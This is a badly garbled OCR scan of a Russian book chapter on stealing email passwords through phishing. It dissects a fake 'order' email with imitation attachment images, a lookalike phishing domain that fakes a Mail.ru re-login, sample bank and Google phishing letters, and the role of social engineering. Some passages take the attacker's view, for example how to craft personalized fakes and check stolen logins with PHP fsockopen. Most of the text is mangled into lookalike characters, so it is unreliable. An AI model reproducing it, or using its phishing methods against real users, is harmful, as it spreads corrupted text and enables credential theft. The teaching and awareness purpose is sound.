O o 4 Bapnanyd "Tueano myxaps” <HAUIM THOBHMBIE necuw BUA 701y Perpo-ranynnoianca <HAUM MOBMMBIE nechir BIAA 70-x1» 18 nionst & 17:30 KosuiepT Ha Tennc 16 mon
O e Readbymail - faimiect Opera Max 3.0 crana AocTynHa Ha yeTpoiicTeax ¢ Android [1af{iect WHTEDECHEI MATEpHanDs Ty LM HaTepHans & 1401
O e ” Bapaay6 “Tuesno myxaps” Bropas nonosuka MIOHA Bropas nonosika VIOH... LigeruoR fy neeap, 4. 30 7en. (495) 793-10-80 gnezdoglubarya.ru BTopas nonoewH 14 mon
O e @ Exarepina uz 1PS.RU Fngekc npwayMan nokoiiky AnA AN0X0r0 KoWTeHTal 3 CTaTLi 0 CankK, CaliTax B00RLIE W ATLTEpKATEHS X MADWAAKaX KounnekcHe 14 o
O e “GoF uckBiz" Hugewcauna aopos & Baidu. POP adult Tpadhuk na rauGmuir odbehepst - GoFuckBiz Mpueercreyen Bac, yeawaeniie no1L308 e 13 mon
O e o ACD Systems Anders, See how easy it is to keep your photos organized with ACDSee 20 Save 50% on ACDSee 20 | Unsubscribe Organize, edit, ¢ 13 moH
O e G Tyces Hean HoBbiii NPoeKT 01 COTpYAHMKOB Spyline.ru Yeaxaeiiaii n0fbaoeares Caita Spyline. 1w, npexae scern o Bac nofnaroAapnrs 3a o 13mon
(u} m Michael Hack Last Chance to Register: Get your First Look at WhatsUp Gold 2017 Plus i Andrel, The perennial favorite network and infrastructure monit 12 m0m
O e “GoF uckBiz" GoFuckBiz - B Pocci manw. Mpusercreyen Ba 1ol
O e ° ACD Systems Anders, See how easy it is to keep your photos organized with ACDSee 20 Save 0% on ACDSee 20| Unsubscribe O 9umon
O e o MupTecen Tewsr aus: JKOMA - BCEMY FOMOBA ! ( Cenpy ; Cexc B CCCP. Tlysuiit Coxc....; W w 9umon

Puc. 1.2. Bxodsuwee nucemo om «000 “MazHum”» ¢ memMol «3akas»
8 UHmMepaelice 3neKMpPOHHOL NOYMbI

Ectn Biagesel 5JIeKTPOHHOTO afipeca OTKPOeT JaHHOe MUCbMO, TO
OHO OyIeT BBIIVISAIETh B 6pay3epe, Kak MOKa3aHo Ha puc. 1.3.
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Micema  KoHtarrsl  Qaiinsl  Tewsl  Ewe B Karerpape @ OGnao €3 Gonye Moueic no noure
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Zakaz
000 MarmuT <ooo.magnit.79@mail.rux o
Kaay: @inbos.ru

cerogun, 10:45

@ 3JPG 2,7 M5 MMocuotpets Ckauate

®alin B0 BNOKEHUM

Anerceii Knnwos

& opue dain 2,7 M5 88

3JPG 2,7 ME

Puc. 1.3. Bud anekmpoHH020 nucsma

Kak MOXHO 3aMeTUTb, TeJ0 NMUCbMa COLEPXKUT TeKCT «PDaita BO BJIO-
SKeHUM» U MOoAINCh «Anekceit KimumoB».

WHTepdeiic MOYTOBOrO SIMKa TOBOPUT MMOJIb30BATENI0 O TOM, UTO
K 2JIEKTPOHHOMY MUCbMY MMeeTCs TpuioxkeHue — daiin «3.JPG» pasme-
poM 2,7 M6, KOTOPBIii IT0Ib30BaTe/Ib MOKET IIOCMOTPEThb MJIM CKavaTh.

B HIsKHET YacTy 0TOOpakaeMoTro COOOIITEeHMSI TAKKe COMEePsKUTCS M-
HMATIOPHOE M300paskeHye IpucJIaHHOro daiia.

[Tosib30BaTeNb aBTOMATUYECKM BBITIOJHSIET AECTBME — HAKMMAaeT Ha
1n300paxkeHne, comepskallee MaHSIINI TEKCT <ITIOCMOTPETh», «CKadaTh»
MU M300paskeHMe — MUHMATIOPY TOKYMEHTA.

[Tocnie coBepllleHHOTO AEVCTBYUS IMMOIb30BATE/I0 OTKPbIBAETCS Clie-
aywouias ctpanuia (CM. puc. 1.4), Ha KOTOPOI yKa3aHbl JIOTUH MOJb-
30BaTes, JOMOMHUTeNbHAsI MHGopManus o daiiyie, HAXOASIIeMCSI BO
BJIOKEHUM, 1 BO3MOXKHbIE BapMaHTbI IPOAO/KEHUS OeiICTBUIA: CKavyaThb,
IMOCMOTPETb.
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Mucema  KodTaktel  ®afinel  Temel  Ewe KaneHgape &

= Mepeitt 6o «BxogAawmes "
daiin
NMuyHee A aHHEIR
Fonwyecteo dainoe : 1
IAIREE [ Hara: 22.06.2017

Pafiora © nHCEManA
Mma u noanuce
Temel . )
& Mpocmotp daiina E@inbox.ru
Mapone v BezonacHocTe

© Cravatb dain
[Mankw

Mpaeuna dUAETpALAK

P ¢ pad MpogomsuTs — I
SMS-yeenoMIEHMA

MouTa Wz ARyTHi ALLMKDE

ail. Ru Arexr

AETOOTEETYME

Puc. 1.4. Cmparuua, omobpaxaemas npu nepexode no CCblIKe 8 NUcbMe

[Ipy HaXkKaTUM Ha KHOMKY «IIpOgo/IKUTh» I0JIb30BaTeIb HAOMI0IaeT
MPOIeCC aBTOPU3AIUM U TIOJIK/IIOUEHMS K TIOUTOBOMY CepBepy, Kak I10-
Ka3aHo Ha puc. 1.5.

Macema  KodTaktel  @aine Tembl  Ewge F'aﬂEHnapb & Otnaro

=i Nepeittn Bo «Brogsmues -~
Gaiin

TnuHeie nakHele

Konuuecteo dainoe @ 1

Monyyenne nucen [ara: 22.06.2017

Pafora © nucemanu
Wma 1 noanuce.

Tewel

Maponk 1 Be30nacHoGTs
Mankn

Mpaeuna HUALTREUMKA
SMS-yBegOMIEHAA
Mouta us Apyrux ALWKKOE
hail. Ru Arent

AgrooTasTamc
M0G0 4eHIE KK NOUTOBOMY CEpBEpY...

Puc. 1.5. [poyecc asmopu3sayuu
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B cuny «TexHMUYeCKux» NPUYMH MTOYTOBAs CUCTEMA MPOCUT IOIb30-
BaTessl [IOBTOPUTh aBTOpM3auui. OKHO aBTOpMU3auuu Ha puc. 1.6 yxe
COZeP>KUT JIOTMH T0JIb30BaTes1, M TpeOyeTCs TOJIbKO BBECTY MapoiIb s
MIPOJO/DKEHUSI.

Bxog

[MREBEILEHE AMMTENEHOCTE ZATPYIEN
b AOMKHB BBINONHUTE BXOZ B CHCTERYY, UTOf NP 00MEWTE
arpyzsky.

sk @inboxru v
Mapans

Fabeinu napone? ™ zanomHuTe

Buoitrn Pervcipauua =

Puc. 1.6. OkHo nosmopHol asmopu3ayuu

[Tonb30BaTe b BBOAUT B MOSIBUBIIEMCS OKHe IapoJib, MOTyYaeT Ke-
JlaeMbIit (aiiia, BO3BpAIaeTCs K BXOASIIMM COOOIIEHNSIM CBOETro 3JIeKT-
POHHOTO SIII[MKA U TIpOoAoJikaeT 0ObIYHYI0 paboty. Hu omHa cobaka He
3apblvyaja, aHTUBUPYCHbIE CUCTEeMbI O€3MSITEKHBbI.

[ToHsITHOE Ae/0, YTO pa3 Mbl TYT TOBOPUM O (PUIIIMHTe, CKOpee BCero,
B 9TO BpeMsl yKe BBITIOIHSIETCS HeCaHKI[MOHMPOBAHHOE KOMMpPOBaHMe
BCell MepemnnucKy MoJjib30BaTess, JOKyMeHTOB U dotorpaduii, mpoBe-
psieTcst IOCTYT K 3aKperieHHbIM 32 aKKayHTOM CepBIMCaM, MTPOBOIUTCS
MOMCK Cpeaiy TepercKy 0 KJII0UeBbIM (JIOBAM C 11eJIbl0 00HapYyKeHUs
KOMIIpoMaTa, PUabTPYIOTCS MUChbMa C 11eIbl0 OTbICKAHUSI PeKBU3UTOB,
IDAaHHbBIX aBTOPM3aIMM K TJIATEKHBIM CCTEeMaM M KOPIIOpaTUBHBIM cep-
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BMCAM U JPYTUM MHTEPECHBIM BeljaM, KOMX TaK MHOTO COOEP>KUT aKKa-
YHT KaXI0TO 13 Hac.
M npoucxoguT 3TO MOTOMY, UTO ITapoJib MTOJIb30BaTeNS YKPaJeH.
BepHemcsi K HauaTy ¥ CHOBa pacCMOTpHUM IocTymuBiiee ot «O00 “Mar-
HUT”» IMUCBMO C TEMOI1 «3aKa3s», IKOObI MMEIOIIee BO BJIOKeHMM (aiill.
Ha camom pgese mnucbMo COIepsKUT TEKCT «Daiil BO BJIOXKEHUN» U «AJTeK-
ceit KnumoB». Hukakux (aityioB BO BJIOKEHUM HET, a €CTb IBA MHTEIPU-
POBaHHBIX B ITMChbMO M300paskeHUST, UMUTUPYIOIIMX HaIMuMe BIOXKEeHMUSI.

g 3JPG 2,7 MB [locmoTtpete Ckauate

Puc. 1.7. 306paeHue uHgpopmayuu o npukpenieHHoM ga’iine

& ogwH ain 2,7 ME | BB

3.JPG 2,7 MB
Cravate

Puc. 1.8. M306paxeHue npukpenneHHo20 ¢aiina

I/I306pa)KeHI/IH M3TOTOBJIEHBI B [TIOJITHOM COOTBETCTBUM CO CTUJIMCTUKOM
MHTep(l)eI),ICa ITIOUYTOBOTO CepBMCa M HNUUYEM cebs1 He BBIJIAIOT. 3aMeTUTh
IIOABOX OOBOJIbHO C/IOXKHO, TEM 60J1ee UTO cucTeMa IOUYTOBOrO cepBepa
TdaKOBa, UTO IIpM HaBE€OE€HMNM Ha OJaHHbIE I/1306pa)l(eHI/ISI ITOJIb30BATE/Ib
MOXXET YBOETb CCbIVIKY BlMa:

https://proxy.imgsmail.ru/?email=**0inbox.ru&e=1498379070&h=9-c-pc-Us7zj
iMuCsJ7gKQ&urll71=cnUtbXguzWlhaWwvaWlnL21tZzEucG5n&is_https=0,

IIpu 3TOM pecypc https://proxy.imgsmail.ru/ sBisieTcst obuLMaJIbHbIM pe-
CypCOM IOYTOBOTO CepBepa.


https://proxy.imgsmail.ru/
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CrpaHuua, Ha KOTOPOM yKas3aHbl JIOTUH I10Jb30BaTeJIsl, JOIIOJIHU-
TenbHas uHGopMalus o daiise — BIOKeHUM U BO3MOKHbIE BapUaHThI
MIPONO/IKeHMs (CKauaThb, IIOCMOTPETh), — HA CAMOM Jiejie yKe CTpaHuIa
bummMHr-gBIUXKa, B JAHHOM C/Tyyae pacIiososkeHHas Io aapecy:

http://e.mail.ru-cgi-bix.ru/files/?Login=&Domain=.ru&id=12433644800000023
780&msg=bWFpbChydQIIZWx1bmFfcGFy

Wnu nipoiue: http://e.mail.ru-cgi-bix.ru/files/. JomeHnHoe nms e.mail.
ru-cgi-bix.ru mpMHamIeXUT 37107€10, a He 0DUILMATbHOMY TTOUTOBOMY
CepBUCY, XOTS U CONEPXKUT HEUTO MOXOXKe B HAIIMCAHUM.

Hukakoii aBTopM3aLuy Opu BBOJE MapoJisi He TIPOUCXOAUT, aHUMU-
POBaHHBIN B CTWJIMCTUKE TTIOUTOBOTO cepBuca 6eTyHOK IMPOCTO U3SIIIHO
npob6eraeT [Jis TylIeil JOCTOBEPHOCTM MPOMCXOSIIEro Ipoliiecca co-
eIVHeHNs ¥ BbiJlaeT BIIOJIHEe 0ObIYHOE OKHO aBTOPM3alii, TAKKe SIBJISIIO-
1eecst 4acTbi0 QUIIMHT-ABVOKKA.

[Tocne maHHON «aBTOpMU3aLMM» II0JIb30BATENb IIepeagpeCcOBbIBAETCS
obpaTHO Ha oduIlMaIbHbBIN cepBep, K cebe B IMOUYTOBbIN SIIMK, & HEOO-
XOJMMbIe JaHHbIE: apOJb C YUETHON 3aMMChI0 ¥ JOMEHHBIM MMEHEeM —
rporpamMma (CKpHIIT), BXOJISIIIast B COCTaB QUIIMHT-ABIKKA, 3aMI1ChIBAET
B HYXHbBI (aiiyl Win OTChbIaeT Ha CHelMalbHbIN afpec 3JIeKTPOHHOI
TOYTBI UM CEpPBEp 3707es.

Kak TakoBOro nepemeiieHus ¢ obuiiaabHOTO MTOYTOBOTO CepBUCa Ha
(UIIMHT-IBIKOK IT0JIb30BaTe/Ib He 3aMevaeT, axke eI OH OCBeOMJIeH
0 BO3MOKHOCTSIX QUILIMHT-aTaKM.

MHore creluuaaucTbl YyTBEPKIAIOT, UTO, IJIsI TOTO YTOObI He ToIa-
IaThCsI Ha IOA00HBIN (MUINMHT, HY>KHO IIPOCTO YOEOMTHCSI B TOM, YTO
repen To60¥ cTpaHMIa (GUIIMHTOBOIO CaiiTa, IJIsI Yero JOCTaTOYHO 00-
paTuUTh BHMMaHMe Ha Ha3BaHMe caiiTa B aJpecHOli CTpoKe Opaysepa:
€C/Ii OHO OT/IMYAeTCsl OT OPUTMHAIbHOTIO Ha3BaHMS CaiiTa, mepen BamMu
(OUIIMHTOBBIN CaT.

KonnuecTBO cepBUCOB ¥ BO3MOXKHOCTEH, MPUBSI3aHHBIX K TOYTOBOMY
aKKayHTY, JOBOJIbHO BEJIMKO U IOCTOSIHHO PacTeT, M KaXK[bIli CEPBUC
COIEPKUT KaKoe-JIMO0 OTAMYHOE TOMEHHOE M/ CYOIOMeHHOe 1300pa-
skeHMe, HarpuMep https://mail.yandex.ru, a niepeiias K dainam: https://
disk.yandex.ru/client/disk.

YTO JO/DKeH 3aMeTUTh I0Ib30BaTellb, KOra CTpoKa

https://proxy.imgsmail.ru/?email=+*&e=1498379070&h=9-c-pc-Us7zjiMuCsJI7qgK
Q&urll71=cnUtbXguzWlhaWwvaWlnL21ltZzEucG5n&is_https=0


http://e.mail.ru-cgi-bix.ru/files/
http://e.mail.ru-cgi-bix.ru
http://e.mail.ru-cgi-bix.ru
https://mail.yandex.ru
https://disk.yandex.ru/client/disk
https://disk.yandex.ru/client/disk
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CMEHMTCS CTPOKOIA:

http://e.mail.ru-cgi-blx.ru/files/?Login=&Domain=.ru&id=12433644800000023
780&msg=bWFpbC5ydQIIZWx1bmFfcGFy=0

[Tonb3oBaTesnb OyAeT 3aHMMATbLCSI TEM, UTO Y HETO MPOUCXOAUT B OC-
HOBHOM OKHe 6pay3epa. A TaMm Bce OymeT IPOMCXOAUTb KPacuBO, BO3-
MO>KHO, Jla)kKe MHTPUTYIOILE. ..

OUIIMHTOBBIN CAMT — 3TO He KaKasi-TO OAMHOKAas CTpaHuiia B IHTep-
HeTe, KOTOpasi BHEIIHe He OTAMYAeTCs] OT OPUTUMHAIBHOTO CaiiTa, 3TO
CBSI3Ka HECKOJIbKUX CTPaHMIl, CKpUIITOB, COOOIIeHNMIT, OCHOBAaHHAsI Ha
COLMANbHON MHKEHepUY U UMEIOIasl CBOeli 1e/Ibl0 3aIl0MyUYNTh [1apoJib
He3aMeTHO JJis TT0JIb30BaTesIsl, B IPOllecce COMPOBOKIEHMS KePTBHI 110
OIpeleJIeHHOMY QJITOPUTMY JeiCTBUIA.

Crpoka 6pay3sepa, Kpome JOMEHHOTO MMeHU, COIeP>XKUT Habop Hero-
HSITHBIX [IJIS1 OOBIIMHCTBA 0JIb30BaTesiei 1udp 1 CMMBOJIOB, [TOTOMY
0 aHaaM3a TOYHOTO HaIlMCAaHUS JOMEHHOr0 MMEeHU MPOCTO HUKOMY
HeT fAena.

Ellle oIMH 4acTO BCTpeUYaeMblii COBET — MOXXHO BBECTM JII000J BbI-
MBILIJIEHHBIV afpec 3JIeKTPOHHOV MOYThI U IIPUAYMaHHbBIV [1apoJib, IPU
9TOM eCJIM CaliT HeHACTOSIIMI, TO OH NIpUMeT BBeJeHHbIe JaHHbIe KaK
BepHbIe M MPOM3BEIET Iepeaapecaluio Ha HACTOSIIIMIA CAT.

[IpakTHUeckoe MpUMeHeHMe JAaHHOTO COBeTa BeCbMa MHTEPeCHO, TO
eCTb I0JIb30BaTe/ b NO/DKeH BCeraa Ipy HeoOXOoAMMOCTH aBTOPU3aLu
BBOAUTH pa3Hble nmaponau? IIpu 3TOM ecin eCTb COMHEHMe, 3aUeM BO-
00111e YTO-TO BBOOMUTH?

3mech MIPUXOOUTCS TaKKe BO3pasuTh M 0OpaTUTh BHMMaHMe Ha TO,
YTO pa3paboTka GUIIMHT-ABUKKOB He CTOUT HA MeCTe M BBOAMMbIE
M0JIb30BaTeIeM JaHHbIe — JIOTYMH U Mapojib — MOXKHO ITPOBEPUTDH Ha KOP-
PEeKTHOCTb HeCKONIbKMMU QyHKIMsIMU. B s13b1ke PHP, Hanipumep, ajist
YCTAHOBJIEHUSI COeAMHEeHMSI MOXKHO MCII0JIb30BaTh CeTeBYI0 (YHKIIUIO
fsockopen, u mpumep buiMHra ¢ MpUMeHEeHMEM 3TON QYHKUMMU OymeT
pacCMOTpEeH HIKe.

[IponaraHavpyembie yTBepPXKAeHMS, YBepstolye, YTO aHTUBUPYChI
O67IOKMPYIOT PUIIMHTOBbIE aTaky, 0UIMaTbHbIE CaliThl CEPBUCOB OJIOKM-
PYIOT Iepexof, 1o pUIIMHTOBBIM CChUTKaM, aHTUCIaM-(QUIbTPbI TOUTO-
BBIX CEPBMCOB PaCIiO3HAIOT QUIIMHTOBBIE MChbMA ¥, B KOHIIE KOHIIOB,
cpencTBa 60pbOBI ¢ GUIIMHIOM IIPeIyCMOTPEHBI BO MHOTUX Opay3epax
U TOUTOBBIX KJIMEHTAaX, Ha MPAaKTUKe AeiCTBUTENIbHbBI TOIbKO MPU Clie-



38  XMLLEHWE MAPONEN METOAOM OULIMHI-ATAK

MbIX QUIIMHT-aTakax MM MPU UCIOIb30BaHUM 3JI0YMbIIIJIEHHUKAMMU
CTapbIX JOMEHHBIX MMEH, KOTOPbIEe y>XKe BHECEHbl BO BCEBO3MOKHbBIE
«4yepHble CIIUCKU». [Ipyu mepcoHanM3upPoBaHHOM (PUILIMHTe aBTOMAaTH-
yecKue 3aliUTHbIe Mepbl Maio3(hGEeKTUBHBI.

Kpome Toro, HeCTaHIaPTHBIN MOAXO, UCIIOIb3YEMBbII B 1leJIeHaIlpaB-
JIEHHOM (pUIIMHTE, CBOAUT Ha HET paboTy aHTUMUIIMHTOBBIX TEXHOJIO-
TUiA, a BJIOSKEHHbIEe KPYIJIEHbKME CyMMbI B MH(GOPMAILMOHHYIO 6e3011ac-
HOCTb JIMIIb YCUJIMBAIOT MJUTIO3UIO 3aliuiieHHOCTU. [ToaToMy (UIIMHT
SKUB U OCTaeTCs1 caMbIM 3((QeKTUBHBIM CPeCTBOM XUILeHUS Taposisl.

@UIIVHT — 3TO YHUBEPCAJIbHbIN MHCTPYMEHT, M OCHOBHas ero Guii-
Ka — 9TO MOCTOSIHHOE BUAOM3MEHEeHMe U COBepIIeHCTBOBaHMe. AHTU-
BUPYC WIN ApyTasi CUCTeMa MOXKET 3a6JIOKMPOBATh IOMEHHOE VMS WA
cepBep, BHeCS ero B 6a3y JaHHBIX, HO HUYTO He MellaeT 3aperucTpupo-
BaTh 3JIOYMbIIIJIEHHMKAM ellle AeCSITOK-APYroli JOMEeHHbIX MM€EH U pas3-
MECTUTDb UX Ha AeCSITKe-IPYyroM BUPTYaJIbHBIX XOCTUHIOB.

VHUBepCaJbHOCTDb (QUILINMHTA B TOM, YTO OH HMKOT/Ia He CTOUT Ha MecC-
Te Y U3 Hero, pu >XeJIaHUM, MOXKHO BbUIEIUTD BCE, YTO YyrOAHO. BOT Ha
puc.1.9, Kk mpumMepy, BUA, CTpaHUIIbl GUIIMHT-IBUKKA ¢ MHTepdeiicom
M0JIb30BATEIbCKMX HACTPOEK YUYETHOI 3alnCu:

@ma'Lr U Mucema  KodTaktel  Padinsl  Temsl  Ewe Kanenpaps

= Mepeitv Bo «Brogawue
" = = O6beM NOYTOBOTO ALMKE

THYHEIE AaHHbIE
OObeM NONTOBOID AWMKA

Pafiora ¢ nHCEManK DaTorpafiua MamenuTh hoTorpadini

BrifpanHas doTompabua Byet otofpaskaTeca

Mma w nagnuce ;
A Ha B CepEMca Mail Ru

Temel

Maponk W BEzonacHoCTE

Manku

MpaeMna funsTRaLMM YeenwdnTe Ha £ 100ME O 800ME 0 1000ME € 5000ME
SMS-yeenomMNEHMA

MouTa 12 APYIHY ALLMKDE YBEA0MIEHHA [oN=TON o BhIKN

tlail. Ru Aredt

TekyWHH napons
ABTOOTEETYHE

CTMEHUTE

Puc. 1.9. Cmparuya guwiuHe-08uxka
C UHmepeeLicom nonb308amensCKUX HacCmpoex ydem ol 3anucu
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VHTepdeiic, He3aKOHHO MUCIIOIb3YIONINI CTUIIb U I3aiiH opUIiab-
HOTO pecypca, mpejijiaraeT Iojb30BaTes 0 U3MEHUTh HACTPOVIKM U 06beM
MTOYTOBOTO SIIMKA, & Ha CAMOM JieJIe TaK ke 6€CCOBeCTHO TAIUT MapoJb.

[IMcbMO MOKET BBIIVISIIETh MO-Pa3HOMY, HO Lieib BCerga ofgHa U Ta
ke. B kauecTBe MpumMepa MOXKHO IIPUBECTY IOBOJIBHO CTaphIil o6paserrs
dummHrosoro nmmucbMma (puc. 1.10) U3 paspsiia caemnoi aTaku, CTUIN30-
BAHHOTO I10f, paboTy aBTOMAaTMUUYECKOI CTY>KObI ITTOYTOBOTO CepBMCa:

3apaecTeyiTe, YEawaemeld none30EaTens!

Bamu brino atnpaeneHo nMcemao. MonyYaTens OTMETWA 3T0 NWCEMO NOMETKOR "Cnam” v 3aHec Baw
anekTpoHHel agpec B "HepHei Cnucok”. [1ocne 31ara HEKOTOPEIE M2 MWCEM, OTMPABNEHHEIE
Bamu gpyrum agpecaram, nonagator g nanky "Cnam”, nubo nonydunn ctatyc "Hegoctaenenex".

[nA E0CCTAHOENEHWA NONHOLEHHOM 0BChy#MEanKA, Bam HeoBxoAWMD NOATEEPAMTE, YTO NONTY ©
Balero anekTpoHHOND afpeca oTNPEENART YENDEEK, 3 He BOT-Nporpamma.

NoaTeepaHTE

HaHHoe nefcTene TpebyeTcA B CEASK C M3MEHEHMAMK CTaHAapToE 0fpaboTk NovToBEIX
cooBLEHKi.

MpOCKM OTHECTHEE © NOHMMAHHEM M NEPMHOCHM MZEMHEHMA 33 JOCTARNEHHEE Heya0hCTES,
C yEAMEHHEM,
komaHaa Google ArkayHTOE

Mo anyHcTa, HE 0TEEYaRTE Ha 3T0 cooBueHWe. ToSE! NONYUMTE ONOAHKMTENEHYK MHBORMALMID, NOCETHTE
CNpaBoYHER LEHTR Google AKKSYHTOE.

Puc. 1.10. ®uwuHe nod sudom cy#bbl N04MOB020 Cepsuca

Vnu nmpumep GUIIMHTOBOTO IMMMCbMa, 3aMaCKMPOBAHHOTO Iof odu-
1IMajabHbIe cooOIeHus 6anka (puc. 1.11).

[lepexon MO CChbUIKE TAKOTO IMMChbMa TaKke MOKeT OTIPaBUTh MOJIb-
30BaTesIs B IyTeniecTBye o (G3iKOBBIM CTPAHUIIAM IJIsI «0O0PaOOTKM».

[IpuBegeHHBII B caMOM Hauajie IIpUMep, C OTIPABKO COOOLIeHMS
oT nonb3oBaTenss OO0 «MaruuT», BOT TaK MOXKeT BbITJISIIETh Ha IPYTOM
IIOYTOBOM CepBuce — cM. puc. 1.12, 1.13.

Enie pa3 CTOUT OTMETUTD, UTO /ISt IOA00HOTO pofa aTak COBepPIlIeHHO
He Ba)XHO, Ha KakKOM CepBlCe pacrojiaraeTcs yuyeTHasl 3alliCh MOTeH-
[IMaJIbHOM YKePTBBI.
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SBTB24

Bonbwoe npenmywecTeo
Yeaxaemnbiii Knuenm! Bel npocpo4unu sosspam kpeduma.

Cymuy witpathHeIx NpoLjeHToB Bel MoXeTe NOCMOTPETE B CBOEM NWUHOM kabuHeTe

OSpauqaeM Bawe sHUMaHue, uto NpeTeH3uA UMeeT OTHOLWEeHWe He K onnaTe WNW HeonnaTte 40Nrossix
O’GHEETE]'II:CTE: a KdJEKTy HeBwsinonHeHuA Bawnx obAzatenscTe no CBOoeBpemMeHHOMY BO3BpaTy Kpeguta u 310
ABNAETCA YaCTbH KpEﬂMTHOﬁ WCTOpWK 3aemMLluKa

OSCY)KJJ,EHME BONpOCa 0 CHATHKW NPETEH3INW BO3IMOXHBLI TONBLKD NOCAEe NONHOTO, BKNKYaA onnaty NpoCcpoykM |
noralweHA 3a00M«eHHOCTI.

Bnaropapum 3a 10, 4To Bbl Bblbpanu BTE24.

Ecnu y Bac ecTs BONpOCH], NO3BOHWUTE B KPYTMOCYTOUHYK cnpasouHyk cnyxOy no Tenedony § 800 100-24-24
Unk 3akaxuTe oDpaTHEIN 3BOHOK Ha caifTe.

3To nucbMo 0TNpasneHo asTOMaTHYECKM, I'\O)KEH)‘ﬁCTE, He 0TBevaiiTe Ha Hero.

Puc. 1.11.[lpumep ¢uuiuH208020 NUCLMA,
3aMACKUPOBAHHO20 N0O 0QPUUUATbHbIE CO0OLEHUS BAHKA

Gmail ~

HAMMCATL

Bxogauwme
MomeuerHEe
OTnpaEnEHHER
YepHosukm

Ewg

o Irina =

= c Eu ~
D HecopTupoeaHHee 25 Coucetd Q Mpomoakury
000 Markur 3aka3 - npuKpennenHble daine: 1 3akas NOCMOTRETE CKAYaTE

-
Lr ot Kak nonssoeateca YETAHOBMTE NPMNOKEHKE
10 % ! noyToi Gmail Genail
= (4l
MNOPT aApecoE U
o Brifiepute Temy nnump P! g Hamenmre doto npodmna
EINOAHEHD

Puc. 1.12. [pumep ¢uwiuH208020 nucoMa
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Bxopsuwue 000 Marnuur <ooo.magnit. 79&Email.rus
MomMeueHHsIe KOKfENHE [

OTnpaenexHee |EE i=| npukpennexusbie daine: 1
HepHoBukK E' 3akaz

Ewé~ — NOCMOTPETE  CKAYaTh

o Irina = gl

- Hasmute znece, yTobel OTBETUTE WK [epecnarte

Puc. 1.13. [lpumep ¢uwiuH208020 nUCbMa

1.2. Ponb counanbHOM MHXeHepuMn B GULLMHr-aTaKe

CoumanbHas MHXeHepusl TIpeiCTaB/sIeT C0001 HaMOObIIYIO YTPO3Y AJIsT
00071 cucTeMbl 6€30MacHOCTM, B TOM uucie MHbopMaloHHoii. O6
9TOM TOBOPUTCSI TOBCEMECTHO U TOBOJIBHO IABHO, ellle 10 BO3HUKHO-
BEeHUS KMOepIpecTyITHOCTM.

ColanbHYI0 MHXEHEepUIo MpaBuIbHEe paccMaTpMBaTh KaK HEKOe
BO3/IeliCTBME, KOTOpOe OKa3bIBaeT BIMSHIME Ha YeioBeKa, ITOATaIKMBas
(HaIIpaBJIsisl) €ro K BBITIOJIHEHUIO OIpee/IeHHbIX eiiCTBUII, KOTOpbIe
MOTYT ObITh KaK B €r0 MHTepecaxX, TaK ¥ UMeTh 00paTHbIE TTOC/IeCTBMUS.

He 3amaBasich 11eJ1b10 ITyOOKOTO M3yUeHMs TICUXOJIOTUY YeJIOBEUeCKIX
MOCTYIIKOB, HO MMesI CTpeMJIeHNe MoKa3aTh GakTUYecKoe IOJIoKeHue
Bellleif, KOTopoe HabJ/II0aI0ch aBTOPOM B IIpoliecce paboThI, mpexJia-
raeTcsi pacCMOTPETh POJIb COIMAbHOM MHKeHepUM MpyU MPOBeIeHUN
dbummHr-aTax.

CoumanbHast MH>KeHepusl BO BCeit Kpace HaOJ0aeTCss MMEHHO B Iie-
JieHaIIpaBJIeHHOM (UIINMHTE, XOTS ee IIa0JI0HHO-0a30Bble IIPUHIIMIILI
€CTb ¥ B MaCCOBBIX (CJIENBIX) aTaKaX.
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KTO-TO CKakeT, MOKET ObITh: «IIOCMOTpeN 51 B VIHTepHeTe mpumepbl
bummHr-ncem, U OTIMYHO, MeHs Tellepb He 06MaHyTb». OJHAKO CO-
[[MaIbHAsl MHKEHEPUs B PyKaX 3JI0YMBIIVIEHHUKOB — 3TO GOJIbIlle MC-
KYyCCTBO, YeM HayKa. HensBecTHO, MOXKHO JIM 3STOMY UCKYCCTBY HaYUYUTh
HAaCTOJIbKO, UTOOBI Y€JIOBEK CMOT ITPUMEHSITh 9TOT MHCTPYMEHT Ha ITpak-
TUKe, IPUMEHSIS TTOBCIOAY, e 3TO MOXeT IIPUTOLUThCS.

YesioBeueckast IICUXOJIOTUS Bcerga Oblia ysI3BMMOCTBIO, SKCIUTyaTUpye-
MOJi BO BCe BpeMeHa IpecTylHUKaMu 1 adepucTamMmy pasaMyHOro TOJMKa.
Hacranm BpemMeHa MCITOIb30BaHMs COLMAIbHON MHKEHEPUM U B KMOep-
MIPECTYIUIEHUSIX, B YaCTHOCTYU IIPU MOTyYeHUM HellpaBOMEPHOro 4OCTyIIa
K 3JIeKTPOHHBIM ITOYTOBBIM aZipecaM U OPYTrMM aKKayHTaM: BMeCTO TOr'O
YTOOBI ITBITATHCS HATY YSI3BUMOCTh IIPOrPaMMHOT0 06ecTieueHs, B3JI0OM-
VK MOKET 3aCTaBUTb KePTBY COOOIINUTDb CBOJ IMapojib CAMOCTOSITETbHO.

Kak y>xe roBOpmJioCh, YeJIOBeYeCKNI MO3T, TTOIb3YSICh OIBbITHBIM I1Y-
TeM 3aKpeIlVIEHHO CBSI3bI0 MEeXIy BUAMMBIM U HEBUAMMBIM, a B JaH-
HOM cJTyyae — M300pakeHMSIMU U coiep>kaHNeM, He yessieT BHUMMaHUs
KaKIOMY I10JIyYeHHOMY ITMCbMY.

Co3maHue TeMaTUYEeCKMX MUCEM U pa3paboTKa MepCcoOHaIM3UPOBAH-
HbIX (P3IIKOB — 3a/1aua yBjIeKaTelbHas ¥ TpebyeT OT Hamagaero q0c-
KOHAJIbHOTO 3HaHMS He TOJbKO MHTepdeiica MOYTOBOTO cepBiuca Jinbo
IPYTroil aTaKyeMoOil CUCTeMbl, HO U aJIrOpUTMa AeiCTBUI MTOIb30BaTEIS
TIpU TeX WIN UHBIX 00CTOSITebCTBAX.

[IpocTo Tak yKpacTh MapoJib, BOCIOJb30BaBIINCh (PUIIMHIOM, He
CTOJIb BaXXHO, CKOJIb CeaTh 3TO He3aMeTHO IJis Io/b30oBaTess. Baxk-
HOCTb MOMEHTA 3aK/II0YAETCS B TOM, UTOOBI TI0JIb30BaTEb HE 3aI10/103-
P Yero-Hubyab HeIAJHOTO ¥ He CMEHWI 11apoJib, a TO ¥ BOBCE He yaa-
JINJI YYETHYIO 3alUCh.

Ecinn ataka mpoBeneHa NpaBUJIbHO, TO I0b30BaTe/lb HU O YeM He
IOrablBaeTCsl, a TOYTOBBIN afpec HAaXOOUTCS IO KOHTPOJIEM U MOXKeT
